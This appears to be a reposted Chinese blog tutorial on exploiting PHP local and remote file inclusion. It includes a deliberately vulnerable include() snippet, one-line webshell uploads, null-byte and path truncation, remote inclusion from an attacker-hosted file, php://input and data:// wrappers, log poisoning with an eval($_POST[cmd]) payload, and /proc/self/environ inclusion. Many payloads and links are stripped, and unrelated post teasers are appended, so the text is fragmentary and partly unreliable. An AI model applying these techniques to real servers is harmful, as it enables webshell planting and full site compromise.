php包含那點事情

2021-06-22 05:09:49 字數 2302 閱讀 8374

不喜歡(0)

喜歡(46)

_evil (塵俗當中有太多人 相識過愛不到)

2013-01-03 15:48

有空就多整理下曾經研究過的知識和需要溫顧的知識,明年可能去尋工作絡.

<?php  

$query=$_get['p']; 

include($query); 

?>

poc:

../hanguo/test.php為包含的路徑. 

只要目標伺服器支援上傳,不管是jpg,txt,gif等都可以,在其中包含一句話木馬即可,這種方法很簡單沒什麼可說的。 

2.截斷本地包含

require_once($a.'.php');

include($a.".php"); 

等等類似此包含的函式..

在windows下還有特別用處: 

\.或者./或者\或者/截斷 (windows都可以使用.) 

波波虎截斷的原理

linux包含截斷例子 (linux ./和/可以.) 

%00截斷包含,有gpc=off和php版本限制 

poc:%00

3.遠端包含

在allow_url_include=on就是遠端檔案包含了,為off那就只能本地包含了. 

測試case: 

<?php  

$query=$_get['p']; 

include($query.".php"); 

?>

連線:

爆錯了: 

include($query.".php");**的緣故,在後面加上了".php",導致yeah.txt變成了yeah.txt.php. 

這裡我們不需要截斷啦,來個360計之----將計就計. 

在www.axxer.com建立個yeah.php檔案; 

然後自動在後面加 

上.php;多麼愛。。。。 

遠端包含小連線

我們還可以用php自帶協議來利用: 

包含data:// 或者php://input 偽協議

這個漏洞對於php5.0以下有效,5.3測試失敗,其他大家自行總結。還是比較雞肋,不過不虧為一種好思路。 

//這個沒有截斷,我們嘗試下用協議看看. 

利用協議然後post傳送利用**,哈哈;多麼有愛~~~~. 

4.日記包含高階利用

linux包含截斷例子

此連線已經透露出技巧了呢,連線思路簡單說下: 

(1)訪問帶有一句話的錯誤連線(),此連線將記錄到error.log錯誤記錄檔案中. 

(2)找到包含漏洞的地方,包含到error.log檔案的路徑.然後在自定義s引數中輸入我們惡意**. (.) 

一先限制以及突破: 

類似<?php eval($_post[cmd]);?>.php

這樣的提交,某些web伺服器將會把空格做http編碼轉成%20寫入web日誌,如果php包含<?php %20eval($_post[cmd]);?>這樣的語句肯定是不會成功的,所以我們必須把空格真正的寫入web日誌.

可以使用:偽造沒有connection http標頭的請求包

一點連線:內容1

內容25.其他高階利用

(1)包含/proc/self/environ環境變數: 

這個是利用linux中的環境變數作為基礎,很多時候這個方法行不通,因為沒有/proc/self/environ的訪問許可權.同讀取/etc/passwd一樣

利用(文章中第四點有詳細介紹了.) 

(2) phpinfo臨時檔案爆破包含. //看情況而定,有的需要%00等特殊字元截斷.上面介紹過了. 

(3)_session爆破包含.   //看情況而定,有的需要%00等特殊字元截斷.上面介紹過了. 

(2) (3)點介紹

phpinfo爆破包含pdf

關於PHP 讀取CSV入庫的那點事情

想利用一下某oa的讀取csv檔案入庫的問題,結果發現反編譯的原始碼問題多多啊,呵呵,自己修改了一些,留存備忘。function csv2array content,title array delimiter enclosure optional 1 if is array title count t...

java多執行緒那點事情

關於多執行緒的處理,如果是接觸的少,實際的開發中也使用的少的話,感覺總是那麼抽象 今天參加了公司的多執行緒培訓後才恍然 如何建立執行緒相信大家都知道,通過繼承 thread 或者是想 runnable介面 xx.start 乙個執行緒就啟動了 但是多執行緒我們更多的是要需要考慮,死鎖,資源共享,執行...

面試,遇到的那點事情。

最近很多新 的朋友,問的最多的就是,網路工程師工作以後要搞什麼。感覺這是個常態問題,所以就簡單的 嗶嗶 兩句,有想法的可以加我進行 深入嗶嗶 總結下常見的幾個問題 1 我沒有面試過,有沒有面經?2 面試是怎麼個流程?3 想要走校招,有沒有網路工程師的職位?4 校招有哪些流程?5 我是雙非院校怎麼辦?...